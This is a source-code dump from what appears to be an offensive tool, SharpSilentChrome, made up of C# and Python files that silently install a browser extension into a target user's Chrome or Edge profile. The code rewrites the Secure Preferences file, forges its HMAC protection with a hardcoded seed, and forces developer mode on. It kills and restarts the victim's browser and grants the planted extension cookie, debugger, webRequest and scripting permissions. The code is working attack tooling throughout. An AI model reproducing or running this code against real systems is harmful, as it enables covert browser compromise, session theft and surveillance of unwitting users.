extensionPath = null, browser = null; 49 | 50 | for (int i = 1; i < args.Length; i++) 51 | { 52 | var arg = args[i]; 53 | if (arg.StartsWith("/sid:", StringComparison.OrdinalIgnoreCase)) 54 | sid = arg.Substring(5).Trim('"'); 55 | else if (arg.StartsWith("/profilepath:", StringComparison.OrdinalIgnoreCase)) 56 | profilePath = arg.Substring(13).Trim('"'); 57 | else if (arg.StartsWith("/path:", StringComparison.OrdinalIgnoreCase)) 58 | extensionPath = arg.Substring(6).Trim('"'); 59 | else if (arg.StartsWith("/browser:", StringComparison.OrdinalIgnoreCase)) 60 | browser = arg.Substring(9).Trim('"').ToLower(); 61 | else 62 | continue; 63 | } 64 | 65 | return (sid, profilePath, extensionPath, browser); 66 | } 67 | 68 | static (string sid, string profilePath, string browser) ParseRevertArgs(string[] args) 69 | { 70 | string sid = null, profilePath = null, browser = null; 71 | 72 | for (int i = 1; i < args.Length; i++) 73 | { 74 | var arg = args[i]; 75 | if (arg.StartsWith("/sid:", StringComparison.OrdinalIgnoreCase)) 76 | sid = arg.Substring(5).Trim('"'); 77 | else if (arg.StartsWith("/profilepath:", StringComparison.OrdinalIgnoreCase)) 78 | profilePath = arg.Substring(13).Trim('"'); 79 | else if (arg.StartsWith("/browser:", StringComparison.OrdinalIgnoreCase)) 80 | browser = arg.Substring(9).Trim('"').ToLower(); 81 | else 82 | continue; 83 | } 84 | 85 | return (sid, profilePath, browser); 86 | } 87 | 88 | static void ExecuteInstall(string[] args) 89 | { 90 | var (sid, profilePath, extensionPath, browser) = ParseInstallArgs(args); 91 | 92 | // Argument null and sanity check 93 | if (string.IsNullOrWhiteSpace(sid) || string.IsNullOrWhiteSpace(profilePath) || 94 | string.IsNullOrWhiteSpace(extensionPath) || string.IsNullOrWhiteSpace(browser)) 95 | { 96 | Console.WriteLine($"[-] Invalid or missing arguments.\n"); 97 | ShowUsage(); 98 | return; 99 | } 100 | if (!Directory.Exists(extensionPath) || !Directory.Exists(profilePath)) 101 | { 102 | Utils.WriteLine($"[-] Path not found: {(!Directory.Exists(extensionPath) ? extensionPath : profilePath)}"); 103 | return; 104 | } 105 | if (browser != "chrome" && browser != "msedge") 106 | { 107 | Utils.WriteLine($"[-] Browser not supported: {browser}"); 108 | return; 109 | } 110 | 111 | // Print arguments 112 | var extensionId = Utils.GetExtensionId(extensionPath); 113 | 114 | Utils.WriteLine($"[+] SID: {sid}"); 115 | Utils.WriteLine($"[+] Profile Path: {profilePath}"); 116 | Utils.WriteLine($"[+] Browser: {browser}"); 117 | Utils.WriteLine($"[+] Extension Path: {extensionPath}"); 118 | Utils.WriteLine($"[+] ExtID: {extensionId}"); 119 | Utils.WriteLine(""); 120 | 121 | 122 | // ========= Installing Extension ========= 123 | 124 | // Create backup files first 125 | ExtensionInstaller.CreateBackup(profilePath, browser); 126 | 127 | // Check if process is running 128 | var IsProcRunning = ProcessUtils.IsProcessRunning(browser, sid, profilePath); 129 | Utils.WriteLine($"[+] Process Running: {IsProcRunning}"); 130 | 131 | if (IsProcRunning) 132 | { 133 | // 1. Close process 134 | ProcessUtils.CloseProcesses(browser, sid, profilePath); 135 | Utils.WriteLine($"[+] {browser} processes closed for target user"); 136 | 137 | // 2. Install Extension 138 | ExtensionInstaller.InstallExtension(sid, extensionPath, extensionId, profilePath, browser); 139 | 140 | // 3. Restart 141 | var currentUser = Environment.UserName; 142 | if (!profilePath.ToLower().Contains(currentUser.ToLower())) 143 | { 144 | Utils.WriteLine($"[+] Skipping browser restart - current user ({currentUser}) not found in profile path ({profilePath})"); 145 | Utils.WriteLine($"[+] Browser will need to be started manually by the target user"); 146 | } 147 | else 148 | { 149 | Utils.WriteLine($"[+] Restarting {browser}..."); 150 | var exePath = ProcessUtils.FindBrowserExecutablePath(browser); 151 | var userDataDir = ProcessUtils.FindBrowserUserDataDir(profilePath, browser); 152 | ProcessUtils.RestartBrowser(exePath, userDataDir); 153 | } 154 | } 155 | else 156 | { 157 | // Just install 158 | ExtensionInstaller.InstallExtension(sid, extensionPath, extensionId, profilePath, browser); 159 | } 160 | 161 | Utils.WriteLine("[+] Done"); 162 | } 163 | 164 | static void ExecuteRevert(string[] args) 165 | { 166 | var (sid, profilePath, browser) = ParseRevertArgs(args); 167 | 168 | // Argument null and sanity check 169 | if (string.IsNullOrWhiteSpace(profilePath) || string.IsNullOrWhiteSpace(browser)) 170 | { 171 | Console.WriteLine($"[-] Invalid or missing arguments for revert.\n"); 172 | ShowUsage(); 173 | return; 174 | } 175 | if (!Directory.Exists(profilePath)) 176 | { 177 | Utils.WriteLine($"[-] Profile path not found: {profilePath}"); 178 | return; 179 | } 180 | if (browser != "chrome" && browser != "msedge") 181 | { 182 | Utils.WriteLine($"[-] Browser not supported: {browser}"); 183 | return; 184 | } 185 | 186 | Utils.WriteLine($"[+] Reverting {browser} for profile: {profilePath}"); 187 | 188 | var IsProcRunning = ProcessUtils.IsProcessRunning(browser, sid, profilePath); 189 | Utils.WriteLine($"[+] Process Running: {IsProcRunning}"); 190 | 191 | if (IsProcRunning) 192 | { 193 | // 1. Close process 194 | ProcessUtils.CloseProcesses(browser, sid, profilePath); 195 | Utils.WriteLine($"[+] {browser} processes closed for target user"); 196 | 197 | // 2. Revert the backup files 198 | ExtensionInstaller.RevertToBackup(profilePath, browser); 199 | Utils.WriteLine("[+] Revert completed"); 200 | 201 | // 3. Restart 202 | var currentUser = Environment.UserName; 203 | if (!profilePath.ToLower().Contains(currentUser.ToLower())) 204 | { 205 | Utils.WriteLine($"[+] Skipping browser restart - current user ({currentUser}) not found in profile path ({profilePath})"); 206 | Utils.WriteLine($"[+] Browser will need to be started manually by the target user"); 207 | } 208 | else 209 | { 210 | Utils.WriteLine($"[+] Restarting {browser}..."); 211 | var exePath = ProcessUtils.FindBrowserExecutablePath(browser); 212 | var userDataDir = ProcessUtils.FindBrowserUserDataDir(profilePath, browser); 213 | ProcessUtils.RestartBrowser(exePath, userDataDir); 214 | } 215 | } 216 | else 217 | { 218 | // Just revert extension 219 | ExtensionInstaller.RevertToBackup(profilePath, browser); 220 | Utils.WriteLine("[+] Revert completed"); 221 | } 222 | 223 | } 224 | } 225 | } 226 | -------------------------------------------------------------------------------- /misc/cursed.py: -------------------------------------------------------------------------------- 1 | import os 2 | import hmac 3 | import json 4 | from collections import OrderedDict 5 | import hashlib 6 | 7 | """ 8 | Did not realize asaurusrex already had a python version uploaded in their github repo. https://github.com/asaurusrex/Silent_Chrome/blob/master/windows_silent_chrome.py 9 | 10 | Just wasted a bunch of time :( 11 | """ 12 | 13 | 14 | #https://github.com/Pica4x6/SecurePreferencesFile 15 | def removeEmpty(d): 16 | if type(d) == type(OrderedDict()): 17 | t = OrderedDict(d) 18 | for x, y in t.items(): 19 | if type(y) == (type(OrderedDict())): 20 | if len(y) == 0: 21 | del d[x] 22 | else: 23 | removeEmpty(y) 24 | if len(y) == 0: 25 | del d[x] 26 | elif(type(y) == type({})): 27 | if(len(y) == 0): 28 | del d[x] 29 | else: 30 | removeEmpty(y) 31 | if len(y) == 0: 32 | del d[x] 33 | elif (type(y) == type([])): 34 | if (len(y) == 0): 35 | del d[x] 36 | else: 37 | removeEmpty(y) 38 | if len(y) == 0: 39 | del d[x] 40 | else: 41 | if (not y) and (y not in [False, 0, ""]): 42 | del d[x] 43 | 44 | elif type(d) == type([]): 45 | for x, y in enumerate(d): 46 | if type(y) == type(OrderedDict()): 47 | if len(y) == 0: 48 | del d[x] 49 | else: 50 | removeEmpty(y) 51 | if len(y) == 0: 52 | del d[x] 53 | elif (type(y) == type({})): 54 | if (len(y) == 0): 55 | del d[x] 56 | else: 57 | removeEmpty(y) 58 | if len(y) == 0: 59 | del d[x] 60 | elif (type(y) == type([])): 61 | if (len(y) == 0): 62 | del d[x] 63 | else: 64 | removeEmpty(y) 65 | if len(y) == 0: 66 | del d[x] 67 | else: 68 | if (not y) and (y not in [False, 0, ""]): 69 | del d[x] 70 | 71 | #https://github.com/Pica4x6/SecurePreferencesFile 72 | def calculateHMAC(value_as_string, path, sid, seed): 73 | if ((type(value_as_string) == type({})) or (type(value_as_string) == type(OrderedDict()))): 74 | removeEmpty(value_as_string) 75 | message = sid + path + json.dumps(value_as_string, separators=(',', ':'), ensure_ascii=False).replace('<', '\\u003C').replace('\\u2122', '™') 76 | print(f'[+] HMAC message: {message}') 77 | print(message.encode("utf-8")) 78 | print([f"{b:02X}" for b in message.encode("utf-8")]) 79 | hash_obj = hmac.new(seed, message.encode("utf-8"), hashlib.sha256) 80 | 81 | return hash_obj.hexdigest().upper() 82 | 83 | # removing .replace('<', '\\u003C').replace('\\u2122', '™') 84 | 85 | def calculate_chrome_dev_mac(seed: bytes, sid: str, pref_path: str, pref_value) -> str: 86 | """ 87 | Calculates the HMAC-SHA256 for a Chrome protected preference. 88 | 89 | Parameters: 90 | seed (bytes): The secret key from PlatformKeys. 91 | sid (str): The Windows user SID. 92 | pref_path (str): The full preference path (e.g., "extensions.ui.developer_mode"). 93 | pref_value: The preference value (e.g., True, False, a string, etc.). 94 | 95 | Returns: 96 | str: The hexadecimal HMAC digest. 97 | """ 98 | # Serialize the value to canonical JSON (compact, sorted if needed) 99 | serialized_value = json.dumps(pref_value, separators=(',', ':'), sort_keys=True) 100 | 101 | # Build the input string 102 | hmac_input = (sid + pref_path + serialized_value).encode('utf-8') 103 | 104 | # Calculate the HMAC-SHA256 105 | return hmac.new(seed, hmac_input, hashlib.sha256).hexdigest() 106 | 107 | #https://github.com/Pica4x6/SecurePreferencesFile 108 | def calc_supermac(json_file, sid, seed): 109 | # Reads the file 110 | json_data = open(json_file, encoding="utf-8") 111 | data = json.load(json_data, object_pairs_hook=OrderedDict) 112 | json_data.close() 113 | temp = OrderedDict(sorted(data.items())) 114 | data = temp 115 | 116 | # Calculates and sets the super_mac 117 | super_msg = sid + json.dumps(data['protection']['macs']).replace(" ", "") 118 | hash_obj = hmac.new(seed, super_msg.encode("utf-8"), hashlib.sha256) 119 | return hash_obj.hexdigest().upper() 120 | 121 | def add_extension(user, sid, extension_path, extension_id): 122 | escaped_path = json.dumps(extension_path)[1:-1] 123 | 124 | print(f'[+] Using extension path: {escaped_path}') 125 | print(f'[+] Extension name: {extension_id}') 126 | 127 | extension_json = r"""{ 128 | "active_permissions": { 129 | "api": [ 130 | "activeTab", 131 | "cookies", 132 | "debugger", 133 | "webNavigation", 134 | "webRequest", 135 | "scripting" 136 | ], 137 | "explicit_host": [ 138 | "" 139 | ], 140 | "manifest_permissions": [], 141 | "scriptable_host": [] 142 | }, 143 | "commands": {}, 144 | "content_settings": [], 145 | "creation_flags": 38, 146 | "filtered_service_worker_events": { 147 | "webNavigation.onCompleted": [ 148 | {} 149 | ] 150 | }, 151 | "first_install_time": "13364417633506288", 152 | "from_webstore": false, 153 | "granted_permissions": { 154 | "api": [ 155 | "activeTab", 156 | "cookies", 157 | "debugger", 158 | "webNavigation", 159 | "webRequest", 160 | "scripting" 161 | ], 162 | "explicit_host": [ 163 | "" 164 | ], 165 | "manifest_permissions": [], 166 | "scriptable_host": [] 167 | }, 168 | "incognito_content_settings": [], 169 | "incognito_preferences": {}, 170 | "last_update_time": "13364417633506288", 171 | "location": 4, 172 | "newAllowFileAccess": true, 173 | "path": "__EXTENSION_PATH__", 174 | "preferences": {}, 175 | "regular_only_preferences": {}, 176 | "service_worker_registration_info": { 177 | "version": "0.1.1" 178 | }, 179 | "serviceworkerevents": [ 180 | "cookies.onChanged", 181 | "webRequest.onBeforeRequest/s1" 182 | ], 183 | "state": 1, 184 | "was_installed_by_default": false, 185 | "was_installed_by_oem": false, 186 | "withholding_permissions": false 187 | }""" 188 | 189 | extension_json = extension_json.replace('__EXTENSION_PATH__', escaped_path) 190 | 191 | # Using Secure Preferences 192 | dict_extension=json.loads(extension_json, object_pairs_hook=OrderedDict) 193 | filepath="C:\\users\\{}\\appdata\\local\\Google\\Chrome\\User Data\\Default\\Secure Preferences".format(user) 194 | with open(filepath, 'rb') as f: 195 | data = f.read() 196 | f.close() 197 | 198 | # Loading json data 199 | data=json.loads(data,object_pairs_hook=OrderedDict) 200 | 201 | # Enable dev mode & update protection for dev mode 202 | try: 203 | data["extensions"]["ui"]["developer_mode"]=True 204 | print(f'[+] Enabling dev mode') 205 | except KeyError: # means extensions: UI is not found 206 | data["extensions"].setdefault("ui", OrderedDict()) 207 | data["extensions"]["ui"]["developer_mode"] = OrderedDict() 208 | data["extensions"]["ui"]["developer_mode"]= True 209 | print(f'[+] Dev mode never enabled. Creating and Enabling dev mode') 210 | print(f'[+] Enabling dev mode') 211 | 212 | print(f'[+] Dev mode: {data["extensions"]["ui"]["developer_mode"]}') 213 | 214 | #convert to ordereddict for calc and addition 215 | data["extensions"]["settings"][extension_id]=dict_extension 216 | 217 | ###calculate hash for [protect][mac] 218 | path=f"extensions.settings.{extension_id}" 219 | print(f'[+] path: {path}') 220 | 221 | #hardcoded seed 222 | seed=b'\xe7H\xf36\xd8^\xa5\xf9\xdc\xdf%\xd8\xf3G\xa6[L\xdffv\x00\xf0-\xf6rJ*\xf1\x8a!-&\xb7\x88\xa2P\x86\x91\x0c\xf3\xa9\x03\x13ihq\xf3\xdc\x05\x8270\xc9\x1d\xf8\xba\\O\xd9\xc8\x84\xb5\x05\xa8' 223 | macs = calculateHMAC(dict_extension, path, sid, seed) 224 | print(f'[+] calculated HMAC: {macs}') 225 | 226 | #add macs to json file 227 | data["protection"]["macs"]["extensions"]["settings"][extension_id]=macs 228 | 229 | # Add mac for protection ui developer mode 230 | pref_path = "extensions.ui.developer_mode" 231 | pref_value = True 232 | mac = calculate_chrome_dev_mac(seed, sid, pref_path, pref_value) 233 | try: 234 | data["protection"]["macs"]["extensions"]["ui"]["developer_mode"]=mac 235 | except KeyError: 236 | print("Need to toggle developer mode") 237 | sys.exit() 238 | devmode_value=r'{"developer_mode": true}' 239 | parseddevmode=json.loads(devmode_value, object_pairs_hook=OrderedDict) 240 | 241 | newdata=json.dumps(data) 242 | with open(filepath, 'w') as z: 243 | z.write(newdata) 244 | print(f'[+] Successfully updated secure preferences file with new extension') 245 | z.close() 246 | 247 | ###recalculate and replace super_mac 248 | supermac=calc_supermac(filepath,sid,seed) 249 | print(f'[+] updated supermac: {supermac}') 250 | data["protection"]["super_mac"]=supermac 251 | newdata=json.dumps(data) 252 | with open(filepath, 'w') as z: 253 | z.write(newdata) 254 | print(f'[+] Successfully updated secure preferences with supermac') 255 | z.close() 256 | 257 | def get_extension_id(path): 258 | m=hashlib.sha256() 259 | m.update(bytes(path.encode('utf-16-le'))) 260 | EXTID = ''.join([chr(int(i, base=16) + ord('a')) for i in m.hexdigest()][:32]) 261 | print("Using ExtID: {}".format(EXTID)) 262 | return EXTID 263 | 264 | if __name__ == "__main__": 265 | user=os.getlogin() 266 | sid='S-1-5-21-2888908146-1342698428-1910144870' 267 | extension_path='C:\\Users\\Public\\Downloads\\extension' 268 | extension_id = get_extension_id(extension_path) 269 | print(f'[+] User: {user}') 270 | 271 | add_extension(user, sid, extension_path, extension_id) -------------------------------------------------------------------------------- /ExtensionInstaller.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using Newtonsoft.Json; 5 | using Newtonsoft.Json.Linq; 6 | 7 | using static SharpSilentChrome.HmacUtils; 8 | 9 | namespace SharpSilentChrome 10 | { 11 | static class ExtensionInstaller 12 | { 13 | static void SafeSet(JObject parent, string key, JObject defaultValue, out JObject result) 14 | { 15 | if (parent[key] is JObject obj) 16 | result = obj; 17 | else 18 | { 19 | parent[key] = defaultValue; 20 | result = defaultValue; 21 | } 22 | } 23 | 24 | public static string GetUserProfilePathFromSID(string sid) 25 | { 26 | try 27 | { 28 | string regPath = $@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\{sid}"; 29 | object profileImagePath = Microsoft.Win32.Registry.GetValue(regPath, "ProfileImagePath", null); 30 | 31 | if (profileImagePath == null) 32 | { 33 | Utils.WriteLine($"[-] Could not find profile path for SID: {sid}"); 34 | return null; 35 | } 36 | 37 | string userProfilePath = profileImagePath.ToString(); 38 | 39 | Utils.WriteLine($"[+] Found user profile: {userProfilePath}"); 40 | Utils.WriteLine(""); 41 | 42 | return userProfilePath; 43 | } 44 | catch (Exception ex) 45 | { 46 | Utils.WriteLine($"[-] Error resolving SID {sid}: {ex.Message}"); 47 | return null; 48 | } 49 | } 50 | 51 | public static void InstallExtension(string sid, string extensionPath, string extensionId, string profilePath, string browser) 52 | { 53 | var (securePrefsPath, prefsPath) = Utils.GetPrefsPaths(profilePath, browser); 54 | 55 | // Check if browser is supported 56 | if (securePrefsPath == null || prefsPath == null) 57 | { 58 | Utils.WriteLine($"[-] Cannot install extension - browser '{browser}' is not supported"); 59 | return; 60 | } 61 | 62 | // Check if files exists 63 | if (!File.Exists(securePrefsPath) || !File.Exists(prefsPath)) 64 | { 65 | Utils.WriteLine($"[-] Secure Preferences or Preferences file not found: {securePrefsPath} or {prefsPath}"); 66 | Utils.WriteLine($"[+] User may not have used {browser} yet - files will be created on first browser launch"); 67 | return; 68 | } 69 | 70 | // Install secure preferences first 71 | AddExtension(sid, extensionPath, extensionId, securePrefsPath, browser); 72 | Utils.WriteLine($"[+] Installed extension to Secure Preferences: {securePrefsPath}"); 73 | 74 | // Install preferences second 75 | AddExtension(sid, extensionPath, extensionId, prefsPath, browser); 76 | Utils.WriteLine($"[+] Installed extension to Preferences: {prefsPath}"); 77 | } 78 | 79 | static void AddExtension(string sid, string extensionPath, string extensionId, string prefFilePath, string browser) 80 | { 81 | var escaped = JsonConvert.ToString(extensionPath).Trim('"'); 82 | var template = GetExtensionTemplateJSON(); 83 | var installTime = EncodeToInstallTime(DateTime.Now).ToString(); 84 | var extJson = template.Replace("__EXTENSION_PATH__", escaped) 85 | .Replace("__INSTALL_TIME__", installTime); 86 | var dictExt = JObject.Parse(extJson); 87 | 88 | var content = File.ReadAllText(prefFilePath, Encoding.UTF8); 89 | var data = JObject.Parse(content); 90 | 91 | // Enable dev mode 92 | SafeSet(data, "extensions", new JObject(), out var ext); 93 | SafeSet(ext, "ui", new JObject(), out var ui); 94 | ui["developer_mode"] = true; 95 | 96 | // Set profile exit_type to Normal 97 | SafeSet(data, "profile", new JObject(), out var profile); 98 | profile["exit_type"] = "Normal"; 99 | 100 | // Add extension settings 101 | SafeSet(ext, "settings", new JObject(), out var settings); 102 | settings[extensionId] = dictExt; 103 | 104 | // Seeds for different browsers 105 | var seed = new byte[] {}; 106 | 107 | if (browser.ToLower() == "chrome") 108 | { 109 | seed = new byte[] { 110 | 0xe7, 0x48, 0xf3, 0x36, 0xd8, 0x5e, 0xa5, 0xf9, 0xdc, 0xdf, 0x25, 0xd8, 0xf3, 0x47, 0xa6, 0x5b, 111 | 0x4c, 0xdf, 0x66, 0x76, 0x00, 0xf0, 0x2d, 0xf6, 0x72, 0x4a, 0x2a, 0xf1, 0x8a, 0x21, 0x2d, 0x26, 112 | 0xb7, 0x88, 0xa2, 0x50, 0x86, 0x91, 0x0c, 0xf3, 0xa9, 0x03, 0x13, 0x69, 0x68, 0x71, 0xf3, 0xdc, 113 | 0x05, 0x82, 0x37, 0x30, 0xc9, 0x1d, 0xf8, 0xba, 0x5c, 0x4f, 0xd9, 0xc8, 0x84, 0xb5, 0x05, 0xa8 114 | }; 115 | } 116 | else if (browser.ToLower() == "msedge") 117 | { 118 | seed = new byte[] { }; 119 | } 120 | 121 | var path = $"extensions.settings.{extensionId}"; 122 | // trim the last "-" of the SID to calculate HMAC 123 | var mac = CalculateHMAC(dictExt, path, sid.Substring(0, sid.LastIndexOf('-')), seed); 124 | 125 | SafeSet(data, "protection", new JObject(), out var protection); 126 | SafeSet(protection, "macs", new JObject(), out var macs); 127 | SafeSet(macs, "extensions", new JObject(), out var extMacs); 128 | SafeSet(extMacs, "settings", new JObject(), out var settingsMac); 129 | settingsMac[extensionId] = mac; 130 | Utils.WriteLine($"[+] Extension HMAC: {mac}"); 131 | 132 | var devMac = CalculateChromeDevMac(seed, sid, "extensions.ui.developer_mode", true); 133 | SafeSet(extMacs, "ui", new JObject(), out var uiMac); 134 | uiMac["developer_mode"] = devMac; 135 | Utils.WriteLine($"[+] Dev mode protection HMAC: {devMac}"); 136 | 137 | // First write 138 | File.WriteAllText(prefFilePath, data.ToString(Formatting.None), Encoding.UTF8); 139 | 140 | // Second write - with updated super_mac 141 | var super = CalcSuperMac(prefFilePath, sid, seed); 142 | protection["super_mac"] = super; 143 | File.WriteAllText(prefFilePath, data.ToString(Formatting.None), Encoding.UTF8); 144 | Utils.WriteLine($"[+] Updated Super_MAC: {super}"); 145 | } 146 | 147 | public static void CreateBackup(string profilePath, string browser) 148 | { 149 | var (securePrefsPath, prefsPath) = Utils.GetPrefsPaths(profilePath, browser); 150 | 151 | // Check if browser is supported 152 | if (securePrefsPath == null || prefsPath == null) 153 | { 154 | Utils.WriteLine($"[-] Cannot create backup - browser '{browser}' is not supported"); 155 | return; 156 | } 157 | 158 | // Create backup for Secure Preferences 159 | if (File.Exists(securePrefsPath)) 160 | { 161 | string backupPath = securePrefsPath + ".backupssc"; 162 | try 163 | { 164 | File.Copy(securePrefsPath, backupPath, true); 165 | Utils.WriteLine($"[+] Created backup: {securePrefsPath}.backupssc"); 166 | } 167 | catch (Exception ex) 168 | { 169 | Utils.WriteLine($"[-] Failed to create backup: {ex.Message}"); 170 | } 171 | } 172 | else 173 | { 174 | Utils.WriteLine($"[-] File not found: {securePrefsPath}"); 175 | } 176 | 177 | // Create backup for Preferences 178 | if (File.Exists(prefsPath)) 179 | { 180 | string backupPath = prefsPath + ".backupssc"; 181 | try 182 | { 183 | File.Copy(prefsPath, backupPath, true); 184 | Utils.WriteLine($"[+] Created backup: {prefsPath}.backupssc"); 185 | } 186 | catch (Exception ex) 187 | { 188 | Utils.WriteLine($"[-] Failed to create backup: {ex.Message}"); 189 | } 190 | } 191 | else 192 | { 193 | Utils.WriteLine($"[-] File not found: {prefsPath}"); 194 | } 195 | } 196 | 197 | public static void RevertToBackup(string profilePath, string browser) 198 | { 199 | var (securePrefsPath, prefsPath) = Utils.GetPrefsPaths(profilePath, browser); 200 | 201 | // Check if browser is supported 202 | if (securePrefsPath == null || prefsPath == null) 203 | { 204 | Utils.WriteLine($"[-] Cannot revert backup - browser '{browser}' is not supported"); 205 | return; 206 | } 207 | 208 | // Update and revert Secure Preferences backup 209 | string securePrefsBackup = securePrefsPath + ".backupssc"; 210 | if (File.Exists(securePrefsBackup)) 211 | { 212 | try 213 | { 214 | // Update backup file with exit_type Normal 215 | var content = File.ReadAllText(securePrefsBackup, Encoding.UTF8); 216 | var data = JObject.Parse(content); 217 | SafeSet(data, "profile", new JObject(), out var profile); 218 | profile["exit_type"] = "Normal"; 219 | File.WriteAllText(securePrefsBackup, data.ToString(Formatting.None), Encoding.UTF8); 220 | Utils.WriteLine($"[+] Updated Secure Preferences backup with exit_type Normal"); 221 | 222 | File.Copy(securePrefsBackup, securePrefsPath, true); 223 | Utils.WriteLine($"[+] Reverted Secure Preferences from backup: {securePrefsBackup}"); 224 | } 225 | catch (Exception ex) 226 | { 227 | Utils.WriteLine($"[-] Failed to revert Secure Preferences: {ex.Message}"); 228 | } 229 | 230 | File.Delete(securePrefsBackup); 231 | Utils.WriteLine($"[+] Deleted backup: {securePrefsBackup}"); 232 | } 233 | else 234 | { 235 | Utils.WriteLine($"[-] Secure Preferences backup not found: {securePrefsBackup}"); 236 | } 237 | 238 | // Update and revert Preferences backup 239 | string prefsBackup = prefsPath + ".backupssc"; 240 | if (File.Exists(prefsBackup)) 241 | { 242 | try 243 | { 244 | // Update backup file with exit_type Normal 245 | var content = File.ReadAllText(prefsBackup, Encoding.UTF8); 246 | var data = JObject.Parse(content); 247 | SafeSet(data, "profile", new JObject(), out var profile); 248 | profile["exit_type"] = "Normal"; 249 | File.WriteAllText(prefsBackup, data.ToString(Formatting.None), Encoding.UTF8); 250 | Utils.WriteLine($"[+] Updated Preferences backup with exit_type Normal"); 251 | 252 | File.Copy(prefsBackup, prefsPath, true); 253 | Utils.WriteLine($"[+] Reverted Preferences from backup: {prefsBackup}"); 254 | } 255 | catch (Exception ex) 256 | { 257 | Utils.WriteLine($"[-] Failed to revert Preferences: {ex.Message}"); 258 | } 259 | 260 | File.Delete(prefsBackup); 261 | Utils.WriteLine($"[+] Deleted backup: {prefsBackup}"); 262 | } 263 | else 264 | { 265 | Utils.WriteLine($"[-] Preferences backup not found: {prefsBackup}"); 266 | } 267 | } 268 | 269 | static long EncodeToInstallTime(DateTime date) 270 | { 271 | var baseDate = new DateTime(1970, 1, 1, 0, 0, 0); 272 | var differenceInSeconds = (date - baseDate).TotalSeconds; 273 | var installTime = (long)(differenceInSeconds * 1000000) + 11644473600000000; 274 | return installTime; 275 | } 276 | 277 | // Update active/granted permissions and other stuffs for your needs 278 | static string GetExtensionTemplateJSON() 279 | { 280 | return @"{ 281 | ""active_permissions"": { 282 | ""api"": [ 283 | ""activeTab"", 284 | ""cookies"", 285 | ""webNavigation"", 286 | ""webRequest"", 287 | ""scripting"", 288 | ""declarativeNetRequest"" 289 | ], 290 | ""explicit_host"": [ 291 | """" 292 | ], 293 | ""manifest_permissions"": [], 294 | ""scriptable_host"": [] 295 | }, 296 | ""commands"": {}, 297 | ""content_settings"": [], 298 | ""creation_flags"": 38, 299 | ""filtered_service_worker_events"": { 300 | ""webNavigation.onCompleted"": [ 301 | {} 302 | ] 303 | }, 304 | ""first_install_time"": ""__INSTALL_TIME__"", 305 | ""from_webstore"": false, 306 | ""granted_permissions"": { 307 | ""api"": [ 308 | ""activeTab"", 309 | ""cookies"", 310 | ""debugger"", 311 | ""webNavigation"", 312 | ""webRequest"", 313 | ""scripting"", 314 | ""declarativeNetRequest"" 315 | ], 316 | ""explicit_host"": [ 317 | """" 318 | ], 319 | ""manifest_permissions"": [], 320 | ""scriptable_host"": [] 321 | }, 322 | ""incognito_content_settings"": [], 323 | ""incognito_preferences"": {}, 324 | ""last_update_time"": ""__INSTALL_TIME__"", 325 | ""location"": 4, 326 | ""newAllowFileAccess"": true, 327 | ""path"": ""__EXTENSION_PATH__"", 328 | ""preferences"": {}, 329 | ""regular_only_preferences"": {}, 330 | ""service_worker_registration_info"": { 331 | ""version"": ""1.0.0"" 332 | }, 333 | ""serviceworkerevents"": [ 334 | ""cookies.onChanged"", 335 | ""webRequest.onBeforeRequest/s1"" 336 | ], 337 | ""state"": 1, 338 | ""was_installed_by_default"": false, 339 | ""was_installed_by_oem"": false, 340 | ""withholding_permissions"": false 341 | }"; 342 | } 343 | } 344 | } 345 | -------------------------------------------------------------------------------- /ProcessUtils.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Management; 6 | using System.Runtime.InteropServices; 7 | using System.Text; 8 | 9 | namespace SharpSilentChrome 10 | { 11 | static class ProcessUtils 12 | { 13 | // Win32 API declarations for SID to username conversion 14 | [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] 15 | private static extern bool LookupAccountSid( 16 | string lpSystemName, 17 | IntPtr Sid, 18 | StringBuilder lpName, 19 | ref int cchName, 20 | StringBuilder lpReferencedDomainName, 21 | ref int cchReferencedDomainName, 22 | out int peUse); 23 | 24 | [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] 25 | private static extern bool ConvertStringSidToSid( 26 | string StringSid, 27 | out IntPtr Sid); 28 | 29 | [DllImport("advapi32.dll", SetLastError = true)] 30 | private static extern void FreeSid(IntPtr pSid); 31 | 32 | private static string GetUsernameFromSid(string sid) 33 | { 34 | try 35 | { 36 | if (string.IsNullOrEmpty(sid)) 37 | return null; 38 | 39 | IntPtr pSid; 40 | if (!ConvertStringSidToSid(sid, out pSid)) 41 | { 42 | Utils.WriteLine($"[-] Failed to convert SID to binary format: {sid}"); 43 | return null; 44 | } 45 | 46 | try 47 | { 48 | int nameSize = 256; 49 | int domainSize = 256; 50 | StringBuilder name = new StringBuilder(nameSize); 51 | StringBuilder domain = new StringBuilder(domainSize); 52 | int sidType; 53 | 54 | if (LookupAccountSid(null, pSid, name, ref nameSize, domain, ref domainSize, out sidType)) 55 | { 56 | string username = name.ToString(); 57 | Utils.WriteLine($"[+] Resolved SID {sid} to username: {username}"); 58 | return username; 59 | } 60 | else 61 | { 62 | int error = Marshal.GetLastWin32Error(); 63 | Utils.WriteLine($"[-] Failed to lookup account SID {sid}, error: {error}"); 64 | return null; 65 | } 66 | } 67 | finally 68 | { 69 | FreeSid(pSid); 70 | } 71 | } 72 | catch (Exception ex) 73 | { 74 | Utils.WriteLine($"[-] Error resolving SID {sid} to username: {ex.Message}"); 75 | return null; 76 | } 77 | } 78 | 79 | private static string GetUsernameFromProfilePath(string profilePath) 80 | { 81 | try 82 | { 83 | if (string.IsNullOrEmpty(profilePath)) 84 | return null; 85 | 86 | // Extract username from profile path 87 | var username = Path.GetFileName(profilePath); 88 | Utils.WriteLine($"[+] Extracted username from profile path: {username}"); 89 | return username; 90 | } 91 | catch (Exception ex) 92 | { 93 | Utils.WriteLine($"[-] Error extracting username from profile path {profilePath}: {ex.Message}"); 94 | return null; 95 | } 96 | } 97 | public static bool IsProcessRunning(string processName, string sid = null, string profilePath = null) 98 | { 99 | try 100 | { 101 | // Determine username from SID first, then fall back to profile path 102 | string username = null; 103 | 104 | if (!string.IsNullOrEmpty(sid)) 105 | { 106 | username = GetUsernameFromSid(sid); 107 | } 108 | 109 | if (string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(profilePath)) 110 | { 111 | username = GetUsernameFromProfilePath(profilePath); 112 | } 113 | 114 